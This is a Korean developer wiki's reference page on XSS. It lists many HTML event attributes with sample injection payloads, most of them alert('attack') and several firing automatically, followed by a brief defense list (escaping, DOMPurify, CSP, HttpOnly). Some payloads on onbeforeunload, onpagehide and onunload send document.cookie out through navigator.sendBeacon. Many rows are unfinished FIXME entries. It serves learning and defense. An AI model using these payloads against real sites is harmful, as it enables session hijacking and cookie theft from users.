잡개발자 리토의 잡위키 잡개발자 리토의 잡위키

사용자 도구

사이트 도구

사이드바

기술문서:레퍼런스:보안:xss

문서의 이전 판입니다!

XSS

XSS (Cross Site Scripting) 공격과 방어

공격

HTML Event Attributes

속성 예시 비고
onabort - 강제 중단/취소
onactivate 1) 2) -
onafterprint 3) <body
onafterprint="alert('attack')">
</body>

<frameset
onafterprint="alert('attack')">
</frameset> 		인쇄 후
- 인쇄
- 취소
onafterscriptexecute 4) 5) -
onafterupdate 6) -
onanimationcancel 7) - 강제 중단/취소
onanimationend 8) <span
onanimationend="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span> 		자동 실행 9)
onanimationiteration 10) <span
onanimationiteration="alert('attack')"
style="animation:progress-bar-stripes 1s infinite">
</span> 		자동 실행 11)
onanimationstart 12) <span
onanimationstart="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span> 		자동 실행 13)
onappinstalled 14) 15) <body
onappinstalled="alert('attack')">
</body> 		PWA 설치 성공 시
onauxclick 16) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onauxclick="alert('attack')"> 		(영역 내) 떼는 순간
- 왼쪽 버튼 이외
onbeforeactivate 17) 18) -
onbeforecopy 19) <span
onbeforecopy="alert('attack')">
Ctrl + C
</span> 		복사 시작 시
onbeforecut 20) <span
onbeforecut="alert('attack')">
Ctrl + X
</span> 		잘라내기 시작 시
onbeforedeactivate 21) 22) -
onbeforeeditfocus 23) 24) -
onbeforeinput <input
onbeforeinput="alert('attack')"> 		입력 직전
onbeforeinstallprompt 25) 26) <body
onbeforeinstallprompt="alert('attack')">
</body> 		PWA 설치 가능 시
onbeforematch -
onbeforepaste 27) - 붙여넣기 시작 시
onbeforeprint 28) <body
onbeforeprint="alert('attack')">
</body>

<frameset
onbeforeprint="alert('attack')">
</frameset> 		인쇄 전
onbeforescriptexecute 29) 30) -
onbeforetoggle FIXME FIXME
onbeforeunload 31) <body
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset> 		페이지 이탈 시
onbeforeupdate 32) -
onbegin 33) <svg width="0" height="0">
<animate
onbegin="alert('attack')">
</svg> 		자동 실행
onblur 34) <input
onblur="alert('attack')"> 		포커스 이탈 시
onbounce 35) 36) -
oncancel -
oncanplay 37) FIXME FIXME
oncanplaythrough 38) FIXME FIXME
oncellchange 39) -
onchange 40) <input
onchange="alert('attack')"> 		1) 값 변경
2) 포커스 이탈 시
onchargingchange 41) -
onclick FIXME FIXME
onclose -
oncontentvisibilityautostatechange <span
oncontentvisibilityautostatechange="alert('attack')"
style="content-visibility:auto">
</span> 		자동 실행
oncontextlost 42) -
oncontextmenu FIXME FIXME
oncontextrestored 43) -
oncontrolselect 44) -
oncopy 45) <span
oncopy="alert('attack')">
Ctrl + C
</span> 		복사 실행 시
oncuechange 46) -
oncut 47) <span
oncut="alert('attack')">
Ctrl + X
</span> 		잘라내기 실행 시
ondeactivate 48) 49) -
ondblclick FIXME FIXME
ondevicechange 50) -
ondevicemotion 51) -
ondeviceorientation 52) -
ondeviceorientationabsolute 53) -
ondrag FIXME FIXME
ondragend FIXME FIXME
ondragenter FIXME FIXME
ondragleave FIXME FIXME
ondragover FIXME FIXME
ondragstart FIXME FIXME
ondrop FIXME FIXME
ondurationchange 54) FIXME FIXME
onend 55) <svg width="0" height="0">
<animate
onend="alert('attack')"
dur="1s">
</svg> 		자동 실행
onended 56) FIXME FIXME
onerror <img
src=""
onerror="alert('attack')"> 		자동 실행
onerrorupdate 57) -
onfilterchange 58) -
onfinish 59) 60) -
onfocus 61) <input
onfocus="alert('attack')"> 		포커스 진입 시
onfocusin 62) <input
onfocusin="alert('attack')"> 		포커스 진입 시
onfocusout 63) <input
onfocusout="alert('attack')"> 		포커스 이탈 시
onformchange - 1) 값 변경
2) 포커스 이탈 시
onformdata 64) -
onforminput - 입력 직후
onfreeze 65) -
onfscommand 66) 67) -
onfullscreenchange - 전체 화면 변경
onfullscreenerror - 전체 화면 오류
ongamepadconnected 68) -
ongamepaddisconnected 69) -
ongotpointercapture 70) - 제어권 획득
onhashchange - 해시(#) 변경 시
onhelp 71) -
oninput <input
oninput="alert('attack')"> 		입력 직후
oninvalid 72) <form>
<input
required
oninvalid="alert('attack')">
</form> 		유효성
onkeydown FIXME FIXME
onkeypress FIXME FIXME
onkeyup FIXME FIXME
onlanguagechange 73) 74) <body
onlanguagechange="alert('attack')">
</body> 		브라우저 설정
- 언어 추가/삭제/이동
- 이 언어로 표시
onlayoutcomplete 75) -
onlevelchange 76) -
onload <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onload="alert('attack')"> 		자동 실행
onloadeddata 77) FIXME FIXME
onloadedmetadata 78) FIXME FIXME
onloadstart 79) <audio
src=""
onloadstart="alert('attack')">

<video
src=""
onloadstart="alert('attack')"> 		자동 실행
onlostpointercapture 80) - 제어권 상실
onmessage 81) -
onmessageerror 82) -
onmousedown FIXME FIXME
onmouseenter FIXME FIXME
onmouseleave FIXME FIXME
onmousemove FIXME FIXME
onmouseout FIXME FIXME
onmouseover FIXME FIXME
onmouseup FIXME FIXME
onmousewheel 83) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmousewheel="alert('attack')"> 		(영역 내) 마우스 휠
onmove 84) -
onmoveend 85) -
onmovestart 86) -
onmozfullscreenchange 87) - 전체 화면 변경
onmozfullscreenerror 88) - 전체 화면 오류
onoffline 89) - 온라인 → 오프라인
ononline 90) - 오프라인 → 온라인
onorientationchange 91) <body
onorientationchange="alert('attack')">
</body> 		화면 회전
onpagehide 92) <body
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset> 		페이지 이탈 시
onpageshow 93) <body
onpageshow="alert('attack')">
</body>

<frameset
onpageshow="alert('attack')">
</frameset> 		페이지 진입 시
onpaste 94) <span
onpaste="alert('attack')">
Ctrl + V
</span> 		붙여넣기 실행 시
onpause 95) FIXME FIXME
onplay 96) FIXME FIXME
onplaying 97) FIXME FIXME
onpointercancel 98) - 강제 중단/취소
onpointerdown 99) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerdown="alert('attack')"> 		(영역 내) 누르는 순간
onpointerenter 100) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerenter="alert('attack')"> 		(영역 내) 진입 시
onpointerleave 101) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerleave="alert('attack')"> 		(영역 내) 이탈 시
onpointermove 102) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointermove="alert('attack')"> 		(영역 내) 이동 시
onpointerout 103) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerout="alert('attack')"> 		(영역 내) 이탈 시
onpointerover 104) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerover="alert('attack')"> 		(영역 내) 진입 시
onpointerrawupdate 105) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerrawupdate="alert('attack')"> 		(영역 내) 이동 시
onpointerup 106) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerup="alert('attack')"> 		(영역 내) 떼는 순간
onpopstate - 뒤로가기
onpresentationconnectionavailable 107) -
onprogress 108) FIXME FIXME
onpropertychange 109) -
onratechange 110) FIXME FIXME
onreadystatechange 111) -
onrejectionhandled 112) -
onrepeat 113) <svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="2">
</svg>

<svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="indefinite">
</svg> 		자동 실행
onreset 114) -
onresize 115) <body
onresize="alert('attack')">
</body>

<frameset
onresize="alert('attack')">
</frameset>

<svg width="0" height="0"
onresize="alert('attack')">
</svg> 		창 크기 변경
onresume 116) -
onrowenter 117) -
onrowexit 118) -
onrowsdelete 119) -
onrowsinserted 120) -
onscroll FIXME FIXME
onscrollend FIXME FIXME
onscrollsnapchange FIXME FIXME
onscrollsnapchanging FIXME FIXME
onsearch 121) <input
type="search"
onsearch="alert('attack')"> 		Enter 또는 x
onsecuritypolicyviolation -
onseeked 122) FIXME FIXME
onseeking 123) FIXME FIXME
onselect 124) <input
onselect="alert('attack')">

<textarea
onselect="alert('attack')">
</textarea> 		텍스트 선택 시
onselectionchange -
onselectstart <span
onselectstart ="alert('attack')">
텍스트
</span> 		드래그 시작 시
onshow 125) -
onslotchange -
onstalled 126) FIXME FIXME
onstart 127) 128) -
onstop 129) -
onstorage 130) -
onsubmit 131) -
onsuspend 132) FIXME FIXME
ontimeupdate 133) FIXME FIXME
ontoggle 134) -
ontouchcancel 135) - 강제 중단/취소
ontouchend 136) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchend="alert('attack')"> 		(영역 내) 떼는 순간
ontouchmove 137) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchmove="alert('attack')"> 		(영역 내) 이동 시
ontouchstart 138) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchstart="alert('attack')"> 		(영역 내) 누르는 순간
ontransitioncancel 139) -
ontransitionend 140) -
ontransitionrun 141) -
ontransitionstart 142) -
onunhandledrejection 143) -
onunload 144) <body
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset> 		페이지 이탈 시
onvisibilitychange -
onvolumechange 145) FIXME FIXME
onvrdisplayactivate 146) -
onvrdisplaydeactivate 147) -
onwaiting 148) FIXME FIXME
onwebkitanimationcancel 149) -
onwebkitanimationend 150) -
onwebkitanimationiteration 151) -
onwebkitanimationstart 152) -
onwebkitcurrentplaybacktargetisitemcontainerchange 153) -
onwebkitfullscreenchange 154) - 전체 화면 변경
onwebkitfullscreenerror 155) - 전체 화면 오류
onwebkitmouseforcechanged 156) -
onwebkitmouseforcedown 157) -
onwebkitmouseforceup 158) -
onwebkitmouseforcewillbegin 159) -
onwebkittransitioncancel 160) -
onwebkittransitionend 161) -
onwebkittransitionrun 162) -
onwebkittransitionstart 163) -
onwebkitwillrevealbottom 164) -
onwheel 165) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onwheel="alert('attack')"> 		(영역 내) 마우스 휠
onzoom 166) -

167) 168)

방어

  • 태그 무력화
    • & → &amp;
    • < → &lt;
    • > → &gt;
    • " → &quot;
    • ' → &apos;
  • DOMPurify 사용
  • CSP 설정
  • HttpOnly 설정
1) , 17) , 21) , 35) , 48) , 59) , 84) , 85) , 86) , 109) , 127) , 129)
Internet Explorer / Edge Legacy
2) , 18) , 22) , 24) , 34) , 49) , 61) , 62) , 63)
포커스
3) , 28) , 31) , 92) , 93) , 144)
<body>, <frameset>
4) , 29) , 87) , 88)
Gecko 엔진
5) , 30)
<script>
6) , 23) , 32) , 39) , 44) , 57) , 58) , 66) , 71) , 75) , 117) , 118) , 119) , 120) , 166)
Internet Explorer
7) , 8) , 10) , 12)
CSS 애니메이션
9) , 11) , 13)
Bootstrap 3.x, 4.x, 5.x 사용 시
14) , 25)
Progressive Web App
15) , 26) , 74) , 91) , 130)
<body>
16) , 83) , 165)
마우스
19) , 20) , 27) , 45) , 47) , 94)
클립보드
33) , 55) , 113)
SVG 애니메이션
36) , 60) , 128)
<marquee>
37) , 38) , 54) , 56) , 77) , 78) , 79) , 95) , 96) , 97) , 108) , 110) , 122) , 123) , 126) , 132) , 133) , 145) , 148)
<audio>, <video>
40) , 72)
<input>, <textarea>, <select>
41) , 42) , 43) , 50) , 51) , 52) , 53) , 65) , 68) , 69) , 76) , 107) , 116) , 146) , 147)
하드웨어
46)
<track>
64) , 114) , 131)
<form>
67)
플래시
70) , 80) , 98) , 99) , 100) , 101) , 102) , 103) , 104) , 105) , 106)
포인터
73)
시스템
81) , 82) , 89) , 90)
네트워크
111) , 112) , 143)
비동기
115)
<body>, <frameset>, <svg>
121)
<input>
124)
<input>, <textarea>
125)
Firefox
134)
<details>
135) , 136) , 137) , 138)
터치
139) , 140) , 141) , 142)
CSS 트랜지션
149) , 150) , 151) , 152) , 153) , 154) , 155) , 156) , 157) , 158) , 159) , 160) , 161) , 162) , 163) , 164)
WebKit 엔진
167)
https://www.w3schools.com/tags/ref_eventattributes.asp
168)
https://html.spec.whatwg.org/multipage/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects

문서 도구